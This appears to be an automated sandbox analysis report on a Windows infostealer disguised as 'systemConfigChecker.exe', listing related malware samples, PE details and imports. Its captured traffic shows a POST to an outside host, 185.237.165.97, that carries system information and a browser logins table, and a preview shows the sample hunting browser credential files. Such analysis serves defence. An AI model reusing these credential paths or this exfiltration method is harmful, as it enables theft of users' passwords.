	0o37tv6BhU.elf	Get hash	malicious	Mirai	Browse	46.149.221.189
	YZfB2vyTrR.elf	Get hash	malicious	Mirai	Browse	46.149.221.169
	pSWP8vqTi4.elf	Get hash	malicious	Mirai, Moobot	Browse	46.149.221.178
	ISd7zpfQxZ.elf	Get hash	malicious	Mirai	Browse	46.149.221.177
	o6Khx92Ipk.elf	Get hash	malicious	Mirai	Browse	46.149.221.156
	Bb2YTZ1paR.elf	Get hash	malicious	Unknown	Browse	46.149.221.161
CLOUDFLARENETUS	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.165.166
	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	2LKVPFub8Z.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	7fE6IkvYWf.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	kYGxoN4JVW.bat	Get hash	malicious	Unknown	Browse	172.67.74.152
	datXObAAn1.exe	Get hash	malicious	Discord Rat	Browse	162.159.133.234
	EeXJoO1J62.exe	Get hash	malicious	Discord Rat	Browse	162.159.130.234
	gcrY4QgzW9.exe	Get hash	malicious	Discord Rat	Browse	162.159.136.234
	DEeQxdFfyL.exe	Get hash	malicious	Unknown	Browse	104.21.11.231

Process:	C:\Users\user\Desktop\systemConfigChecker.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.86764113149876
Encrypted:	false
SSDEEP:	24:8K5Kk89E5K889EM89bYeb89EDWD89aLDpLE+89aX6nck:8KUksEU8sEMsbDbsEDWDseDdE+saX6n5
MD5:	F86566C57287E820D10672C004961521
SHA1:	046ADCDC83A99D52A289946EF51C0325D6EEDBFD
SHA-256:	8804BEE5AED4C44B0B5635E3604C4A863513B9C3BC60E09A95653EC5422B2262
SHA-512:	3DD1EC273E5CE4301AE4BB2F097340B92968F9531B9F305978129F705F6B6237C8BC14E895C5B6F407CE732F98B1BAA101EC9BA9DE7D36A58529F60AC33B18C6
Malicious:	false
Reputation:	low
Preview:	File is found: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Local\Google\Chrome Beta\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Local\Chromium\User Data\Default\Login Data..File is found: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data..File not found: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Login Data..File not found: C:\Users\user\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\logins.json..File is found: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ov4x28i2.default\times.json..?? ??????? ???????? ????? ?? ???????...

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	5.9784256378182175
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	systemConfigChecker.exe
File size:	81'920 bytes
MD5:	218954f9dd70247e51af8a30940d5c33
SHA1:	35ee01d3128951c3993079186fddc9c0dbe155f7
SHA256:	95ec35703d323fe972a936d9b3574bb191e94b693656d94149897c5ff35f225f
SHA512:	335108a63a07d9d81240c40e67dc6375468bd5bae79edf413b0ec8913e43364b155fdebe0c972ab6150ae2c59779d75045108d9a257e2ce0b8c5ae78f819804e
SSDEEP:	1536:KRF3gVPu3b3X41IiaqGyB0+Hls+X7nTfRQP7K:yRE23zX41la+THls+m+
TLSH:	A2834947376A00ECD1ABA378D5A30A06D772BC05076193DF13A0A17A0FA67D1AE7FB51
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............a...a...a.......a...b...a...e...a...d...a...`...a...`...a...`.r.a...h...a.......a...c...a.Rich..a........................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14000bae8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6729C700 [Tue Nov 5 07:19:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	066fb96ba163200488bf8cbd9705163e

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FAF64865CF0h
dec eax
add esp, 28h
jmp 00007FAF64865497h
int3
int3
retn 0000h
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [000025CFh]
dec eax
mov ecx, ebx
call dword ptr [000025BEh]
call dword ptr [000025C8h]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [000025BCh]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [000025B0h]
test eax, eax
je 00007FAF64865629h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [00009D26h]
call 00007FAF648656CEh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [00009E0Dh], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [00009D9Dh], eax
dec eax
mov eax, dword ptr [00009DF6h]
dec eax
mov dword ptr [00009C67h], eax
dec eax
mov eax, dword ptr [esp+40h]
dec eax
mov dword ptr [00009D6Bh], eax
mov dword ptr [00009C41h], C0000409h
mov dword ptr [00009C3Bh], 00000001h
mov dword ptr [00009C45h], 00000001h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x11ed4	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x17000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x16000	0x9f0	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x18000	0x10c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xf7b0	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xf670	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xe000	0x630	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc077	0xc200	bb167b742e9c1e46cecec9663ad94a6e	False	0.48012644974226804	DIY-Thermocam raw data (Lepton 3.x), scale -14592-0, spot sensor temperature -0.000048, unit celsius, color scheme 0, calibration: offset 262144.000000, slope 171778.046875	6.1463104557320865	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xe000	0x6240	0x6400	a9c91b7191e54302f31a2135cbaafa16	False	0.3462109375	data	4.930625889732141	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x15000	0xda0	0x800	f49b7b400b3a9a593e0463969e69304e	False	0.19775390625	DOS executable (block device driver)	3.6357853761384584	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x16000	0x9f0	0xa00	5859a68e779cdab4bed9be7147961d7c	False	0.493359375	data	4.82362794619983	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x17000	0x1e0	0x200	2c9bc3c453765c5a8e37ea178e81aa1b	False	0.52734375	data	4.710061382693063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x18000	0x10c	0x200	9549c1cc6ee8d55da6140afe18223169	False	0.42578125	data	3.2295190100213778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x17060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	GetFileAttributesW, GetLocaleInfoA, OpenProcess, GetTimeZoneInformation, GetLastError, CloseHandle, K32GetModuleBaseNameA, GetSystemInfo, K32EnumProcesses, GlobalMemoryStatusEx, GetConsoleWindow, K32EnumProcessModules, GetDiskFreeSpaceExA, FindClose, InitializeSListHead, GetSystemTimeAsFileTime, GetEnvironmentVariableW, FindNextFileW, FindFirstFileW, GetLogicalDrives, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, RtlLookupFunctionEntry, GetModuleFileNameA, GetCurrentThreadId, RtlCaptureContext
USER32.dll	ShowWindow
ADVAPI32.dll	RegGetValueA, RegCloseKey, RegOpenKeyExA
MSVCP140.dll	?id@?$codecvt@_WDU_Mbstatet@@@std@@2V0locale@2@A, ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ, ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z, ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z, ?sputn@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAA_JPEB_W_J@Z, ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z, ?widen@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBA_WD@Z, ?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z, ?put@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@_W@Z, ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ, ?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEBA?AVlocale@2@XZ, ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z, ?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z, ?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z, ?unshift@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z, ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ, ?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ, ?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXPEAPEAD0PEAH001@Z, ?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ, ?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ, ??0?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z, ?in@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z, ?out@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z, ?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z, ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z, ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ, ??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z, ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z, ??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z, ??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?_Lock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ, ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ, ?showmanyc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JXZ, ?uflow@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHXZ, ?xsgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEAD_J@Z, ?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEBD_J@Z, ?setbuf@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAPEAV12@PEAD_J@Z, ?sync@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHXZ, ?imbue@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAXAEBVlocale@2@@Z, ??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ, ??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAVios_base@1@AEAV21@@Z@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z, ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z, ??1?$basic_istream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?read@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEAD_J@Z, ?seekg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@_JH@Z, ?tellg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ, ??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?good@ios_base@std@@QEBA_NXZ, ??7ios_base@std@@QEBA_NXZ, ??1?$codecvt@_WDU_Mbstatet@@@std@@MEAA@XZ, ??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z, ?out@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEB_W1AEAPEB_WPEAD3AEAPEAD@Z, ?in@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEA_W3AEAPEA_W@Z, ?always_noconv@codecvt_base@std@@QEBA_NXZ, ?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z, ?_Decref@facet@locale@std@@UEAAPEAV_Facet_base@3@XZ, ?_Incref@facet@locale@std@@UEAAXXZ, ??Bid@locale@std@@QEAA_KXZ, ?_Fiopen@std@@YAPEAU_iobuf@@PEB_WHH@Z, ?id@?$codecvt@DDU_Mbstatet@@@std@@2V0locale@2@A, ?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ?wcout@std@@3V?$basic_ostream@_WU?$char_traits@_W@std@@@1@A, ?uncaught_exception@std@@YA_NXZ, ?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z, ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ, ?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z, ?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ??0_Lockit@std@@QEAA@H@Z, ??1_Lockit@std@@QEAA@XZ, ?_Xlength_error@std@@YAXPEBD@Z
IPHLPAPI.DLL	GetAdaptersInfo
NETAPI32.dll	NetApiBufferFree, NetUserEnum, NetGetJoinInformation
WINHTTP.dll	WinHttpQueryDataAvailable, WinHttpConnect, WinHttpSendRequest, WinHttpCloseHandle, WinHttpOpenRequest, WinHttpReadData, WinHttpQueryHeaders, WinHttpOpen, WinHttpReceiveResponse
VCRUNTIME140_1.dll	__CxxFrameHandler4
VCRUNTIME140.dll	__C_specific_handler, _CxxThrowException, memset, __current_exception, __std_terminate, __std_exception_copy, memcpy, memcmp, memchr, memmove, __current_exception_context, __std_exception_destroy
api-ms-win-crt-stdio-l1-1-0.dll	fread, fsetpos, ungetc, _fseeki64, _get_stream_buffer_pointers, setvbuf, fgetpos, fwrite, fflush, __p__commode, fputc, fgetc, fclose, _set_fmode
api-ms-win-crt-heap-l1-1-0.dll	free, malloc, _set_new_mode, _callnewh
api-ms-win-crt-string-l1-1-0.dll	isalnum
api-ms-win-crt-filesystem-l1-1-0.dll	_lock_file, _unlock_file
api-ms-win-crt-runtime-l1-1-0.dll	_get_initial_narrow_environment, _initterm, _initterm_e, _cexit, _exit, __p___argc, __p___argv, _c_exit, _register_thread_local_exe_atexit_callback, _crt_atexit, _register_onexit_function, _seh_filter_exe, _initialize_onexit_table, _initialize_narrow_environment, _configure_narrow_argv, _set_app_type, exit, terminate, _invalid_parameter_noinfo_noreturn
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 10:56:05.611848116 CET	49711	80	192.168.2.12	172.67.74.152
Dec 6, 2024 10:56:05.731646061 CET	80	49711	172.67.74.152	192.168.2.12
Dec 6, 2024 10:56:05.731770039 CET	49711	80	192.168.2.12	172.67.74.152
Dec 6, 2024 10:56:05.731997013 CET	49711	80	192.168.2.12	172.67.74.152
Dec 6, 2024 10:56:05.851737976 CET	80	49711	172.67.74.152	192.168.2.12
Dec 6, 2024 10:56:06.837409973 CET	80	49711	172.67.74.152	192.168.2.12
Dec 6, 2024 10:56:06.887846947 CET	49711	80	192.168.2.12	172.67.74.152
Dec 6, 2024 10:56:07.314337969 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.434431076 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.434529066 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.435007095 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.435007095 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.555124998 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.555138111 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.555203915 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.555222034 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.555258989 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.555263996 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.555603027 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.555613995 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.555624962 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.555640936 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.555648088 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.555649996 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.555661917 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.555663109 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.555686951 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.555716991 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.675282955 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.675323963 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.675338984 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.675375938 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.675386906 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.675396919 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.675451040 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.675452948 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.675462008 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.675494909 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.675520897 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.720442057 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.720540047 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.836457014 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.836555958 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:07.888536930 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:07.888616085 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:08.004518986 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:08.004589081 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:08.161367893 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:08.161470890 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:08.281646967 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:08.408458948 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:08.412523031 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:08.664560080 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:08.668513060 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:08.913089037 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:08.913269997 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:09.160538912 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:09.160598993 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:09.408449888 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:09.408643007 CET	49712	80	192.168.2.12	185.237.165.97
Dec 6, 2024 10:56:09.569574118 CET	80	49712	185.237.165.97	192.168.2.12
Dec 6, 2024 10:56:10.027070999 CET	49711	80	192.168.2.12	172.67.74.152

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 10:56:05.421950102 CET	63510	53	192.168.2.12	1.1.1.1
Dec 6, 2024 10:56:05.560806990 CET	53	63510	1.1.1.1	192.168.2.12

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 10:56:05.421950102 CET	192.168.2.12	1.1.1.1	0x4173	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 10:56:05.560806990 CET	1.1.1.1	192.168.2.12	0x4173	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 6, 2024 10:56:05.560806990 CET	1.1.1.1	192.168.2.12	0x4173	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Dec 6, 2024 10:56:05.560806990 CET	1.1.1.1	192.168.2.12	0x4173	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

185.237.165.97

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49711	172.67.74.152	80	7160	C:\Users\user\Desktop\systemConfigChecker.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 10:56:05.731997013 CET	88	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: WinHTTP/1.0 Host: api.ipify.org
Dec 6, 2024 10:56:06.837409973 CET	429	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 09:56:06 GMT Content-Type: text/plain Content-Length: 12 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8edb6775897443ab-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1748&min_rtt=1748&rtt_var=874&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=88&delivery_rate=0&cwnd=219&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 38 2e 34 36 2e 31 32 33 2e 32 32 38 Data Ascii: 8.46.123.228

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49712	185.237.165.97	80	7160	C:\Users\user\Desktop\systemConfigChecker.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 10:56:07.435007095 CET	185	OUT	POST /userdata HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WebKitFormBoundary User-Agent: WinHTTP/1.0 Content-Length: 96458 Host: 185.237.165.97
Dec 6, 2024 10:56:07.435007095 CET	11124	OUT	Data Raw: 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 79 73 69 6e 66 6f 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 Data Ascii: --WebKitFormBoundaryContent-Disposition: form-data; name="sysinfo"Content-Type: application/json{ "sysinfo": "MACHINE%20INFO%3a%0aMachine%20name%3a%20440BX%20Desktop%20Reference%20Platform%0aProcessor%20name%3a%20Intel%28R%29%20Core%28
Dec 6, 2024 10:56:07.555203915 CET	3708	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 10:56:07.555263996 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 10:56:07.555648088 CET	4944	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 10:56:07.555661917 CET	4944	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 10:56:07.555686951 CET	4944	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 3AtableloginsloginsCREATE TABLE logins (origin_url V
